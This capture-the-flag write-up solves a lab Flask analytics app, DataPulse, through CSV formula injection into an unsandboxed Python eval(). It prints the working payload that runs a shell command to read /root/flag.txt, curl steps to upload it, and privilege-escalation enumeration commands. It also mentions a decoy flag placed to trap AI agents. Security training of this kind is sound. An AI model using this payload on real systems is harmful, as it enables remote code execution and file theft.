DataPulse — RCE via CSV Formula Injection
DataPulse — RCE via CSV Formula Injection
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-20 | Status: Solved Techniques: arbitrary_file_read, csv_formula_injection, python_eval_rce, server_side_expression_evaluation, unsandboxed_eval
Summary
Task: Flask data analytics platform with CSV import and server-side 'computed fields' feature using Python eval(). Solution: Upload CSV with =import('os').popen('cat /root/flag.txt').read() payload, enable computed fields toggle — eval() executes the formula and stores the flag in the dataset.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260520_hackadvisor_datapulse128 - Tags: sqlite, flask, rce, file_upload, python, eval, csv, formula_injection, computed_fields, data_analytics
- Indicators: CSV import feature with 'computed fields' or 'formula evaluation' toggle, UI help text mentions 'Python expression' for cell evaluation, Cells starting with = are evaluated server-side, Flask session cookies (.eJy... format), Decoy flag in HTML comments to trap automated tools
- Source:
20260520_hackadvisor_datapulse128.md
Foothold
Vulnerability / Misconfiguration
- Arbitrary_file_read
- Csv_formula_injection
- Python_eval_rce
- Server_side_expression_evaluation
- Unsandboxed_eval
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- arbitrary_file_read
- csv_formula_injection
- python_eval_rce
- server_side_expression_evaluation
- unsandboxed_eval
- Tags: sqlite, flask, rce, file_upload, python, eval, csv, formula_injection, computed_fields, data_analytics
Original Writeup
<details><summary>Click to expand original content</summary>Description
You are testing DataPulse, a data analytics platform built by Metric Works. The application helps teams visualize and analyze business metrics through interactive dashboards, CSV data imports, and automated report generation. DataPulse supports uploading datasets in CSV format, creating custom reports with aggregation functions, and managing team collaboration. The platform processes uploaded data server-side and stores it in a SQLite database for querying and visualization. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary code on the server and read sensitive files.
English summary: A Flask-based data analytics platform allows CSV uploads with a "computed fields" feature that evaluates Python expressions server-side using eval(). The goal is to achieve RCE and read /root/flag.txt.
Credentials: user@test.com / password123
Analysis
Tech Stack
- Backend: Flask (Python) behind nginx/1.25.5 reverse proxy
- Database: SQLite for dataset storage
- Auth: Session-based with Flask session cookies
Application Features
| Feature | Endpoint | Purpose |
|---|---|---|
| Dashboard | / | Overview with stats, datasets, activity |
| Datasets | /datasets | List and manage imported datasets |
| Dataset Detail | /datasets/<id> | View dataset rows with search/sort |
| Import | /datasets/import | Vulnerable — CSV upload with computed fields toggle |
| Reports | /reports | Report generation |
| Profile | /profile | User settings |
| |
Vulnerability: Unsandboxed Python eval() on CSV Cell Values
The CSV import page (/datasets/import) has a "Enable computed fields" toggle. When enabled, any CSV cell value starting with = is evaluated as a Python expression server-side using eval() with no sandboxing or restriction on builtins.
The import page UI explicitly states:
- "When enabled, any cell value starting with
=will be evaluated as a Python expression" - "Computed fields are processed server-side during import. The evaluated result replaces the formula in the stored dataset."
This means __import__, os, subprocess, and all Python builtins are available — direct RCE with a single CSV cell.
Decoy Flag Warning
Every page contains a decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} embedded in HTML source as a prompt injection trap targeting AI agents. The real flag is only obtainable through actual exploitation.
Solution
Step 1: Login
BASE="https://09c6c4a1-0cb0-41f9-afe5-33255f1c43d8.labs.hackadvisor.io"
curl -s -c cookies.txt -X POST "$BASE/login" \
-d "email=user@test.com&password=password123" \
-L -o /dev/null -w "%{http_code}"
Step 2: Craft Malicious CSV
Create exploit.csv with a Python expression that reads the flag file:
name,value
test,=__import__('os').popen('cat /root/flag.txt').read()
The = prefix triggers the computed fields evaluator, and __import__('os').popen() executes an arbitrary shell command.
Step 3: Upload with Computed Fields Enabled
curl -s -b cookies.txt -X POST "$BASE/datasets/import" \
-F "file=@exploit.csv" \
-F "name=exploit_test" \
-F "description=test" \
-F "delimiter=," \
-F "encoding=utf-8" \
-F "computed_fields=on" \
-L -o /dev/null -w "%{http_code}"
The server responds with HTTP 302 redirect to /datasets/4 — the new dataset was created successfully.
Step 4: Read the Flag
Navigate to /datasets/4. The formula cell was evaluated server-side and the result now contains the flag content:
curl -s -b cookies.txt "$BASE/datasets/4" | grep -oP 'FLAG\{[^}]+\}'
The value column for the test row shows the evaluated result: FLAG{REDACTED}.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR